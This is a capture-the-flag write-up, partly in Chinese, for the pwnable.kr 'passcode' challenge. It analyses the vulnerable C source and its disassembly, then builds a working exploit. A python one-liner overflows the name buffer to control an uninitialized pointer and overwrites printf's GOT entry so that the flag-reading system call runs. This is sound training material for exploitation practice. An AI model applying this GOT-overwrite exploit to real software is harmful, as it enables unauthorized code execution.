passcode
References
- http://blog.yiz96.com/archives/34
- http://sh3ll.me/2016/03/28/pwnable-kr-writeup/?utm_source=tuicool&utm_medium=referral
- http://blog.csdn.net/qq_20307987/article/details/51303824
- http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html
Question
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh [email protected] -p2222 (pw:guest)
Writeup
source code
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
passcode@ubuntu:~$ ./passcode Toddler's Secure Login System 1.0 beta. enter you name : name Welcome name! enter passcode1 : 338150 Segmentation fault
Source Code Analysis
fflush(stdin)
: 通常是為了確保不影響後面的數據讀取,例如在讀完一個字符串後緊接著又要讀取一個字符,此時應該先執行fflush(stdin)
scanf
: 由於程式中的scanf
都未使用取址(&),且passcode
參數並未初始化。name[]
宣告為100 bytes,scanf也用%100s
去讀char name[100]; printf("enter you name : "); scanf("%100s", name);
- Assembly Analysis
- welcome() function:
.text:08048609 var_70 = byte ptr -70h .text:08048609 var_C = dword ptr -0Ch .text:08048609 .text:08048609 push ebp .text:0804860A mov ebp, esp .text:0804860C sub esp, 88h .text:08048612 mov eax, large gs:14h .text:08048618 mov [ebp+var_C], eax .text:0804861B xor eax, eax .text:0804861D mov eax, offset aEnterYouName ; "enter you name : " .text:08048622 mov [esp], eax ; format .text:08048625 call _printf .text:0804862A mov eax, offset a100s ; "%100s" .text:0804862F lea edx, [ebp+var_70] .text:08048632 mov [esp+4], edx .text:08048636 mov [esp], eax .text:08048639 call ___isoc99_scanf .text:0804863E mov eax, offset aWelcomeS ; "Welcome %s!\n" .text:08048643 lea edx, [ebp+var_70] .text:08048646 mov [esp+4], edx .text:0804864A mov [esp], eax ; format .text:0804864D call _printf .text:08048652 mov eax, [ebp+var_C] .text:08048655 xor eax, large gs:14h .text:0804865C jz short locret_8048663 .text:0804865E call ___stack_chk_fail
- 首先看
welcome()
的name
參數,是在ebp-70h上,大小100 bytes (0x64),所以最後位址是ebp-Ch (0x70-0x64)上.text:08048609 var_70 = byte ptr -70h .text:08048609 var_C = dword ptr -0Ch
.text:0804862F lea edx, [ebp+var_70]
- 使用了gs stack protection,因此當值被修改時,會觸發
___stack_chk_fail
.text:08048612 mov eax, large gs:14h and .text:08048655 xor eax, large gs:14h
- 首先看
- login() function:
.text:08048564 var_10 = dword ptr -10h .text:08048564 var_C = dword ptr -0Ch .text:08048564 .text:08048564 push ebp .text:08048565 mov ebp, esp .text:08048567 sub esp, 28h .text:0804856A mov eax, offset format ; "enter passcode1 : " .text:0804856F mov [esp], eax ; format .text:08048572 call _printf .text:08048577 mov eax, offset aD ; "%d" .text:0804857C mov edx, [ebp+var_10] .text:0804857F mov [esp+4], edx .text:08048583 mov [esp], eax .text:08048586 call ___isoc99_scanf .text:0804858B mov eax, ds:stdin@@GLIBC_2_0 .text:08048590 mov [esp], eax ; stream .text:08048593 call _fflush .text:08048598 mov eax, offset aEnterPasscode2 ; "enter passcode2 : " .text:0804859D mov [esp], eax ; format .text:080485A0 call _printf .text:080485A5 mov eax, offset aD ; "%d" .text:080485AA mov edx, [ebp+var_C] .text:080485AD mov [esp+4], edx .text:080485B1 mov [esp], eax .text:080485B4 call ___isoc99_scanf .text:080485B9 mov dword ptr [esp], offset s ; "checking..." .text:080485C0 call _puts .text:080485C5 cmp [ebp+var_10], 528E6h .text:080485CC jnz short loc_80485F1 .text:080485CE cmp [ebp+var_C], 0CC07C9h .text:080485D5 jnz short loc_80485F1 .text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!" .text:080485DE call _puts .text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag" .text:080485EA call _system .text:080485EF leave .text:080485F0 retn
passcode1
與passcode2
分別位於ebp-10h
與ebp-Ch
上.text:08048564 var_10 = dword ptr -10h .text:08048564 var_C = dword ptr -0Ch
.text:0804857C mov edx, [ebp+var_10] 與 .text:080485AA mov edx, [ebp+var_C]
- 可以發現
name
(0x70~0x0C)覆蓋到passcode1
(0x10)的位址了,最後四個bytes剛好蓋到passcode1
- 執行程式時,當輸入
passcode1
後,寫到了不該寫的位址,導致程式出錯,那要如何讓它可以寫到可寫的位址上呢?只要不讓它出錯就好了,這時就要利用寫入GOT了。
- welcome() function:
查看GOT (Global Offset Tables),可使用
readelf -r
root@kali:~/CTF/pwnable# readelf -r passcode Relocation section '.rel.dyn' at offset 0x388 contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
或使用
objdump -R
root@kali:~/CTF/pwnable# objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
- 接著只要寫入為fflush、printf或exit的位址,就不會出錯了,例如寫到printf,位址為
0804a000
- scanf輸入passcode1是直接取值當址用,所以可以輸入讀flag的位址,位址為
080485E3
,由於輸入格式是%d
整數,這裡要轉成134514147
- 最後payload為:
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '\n' + '134514147\n'" | ./passcode
passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '\n' + '134514147\n'" | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)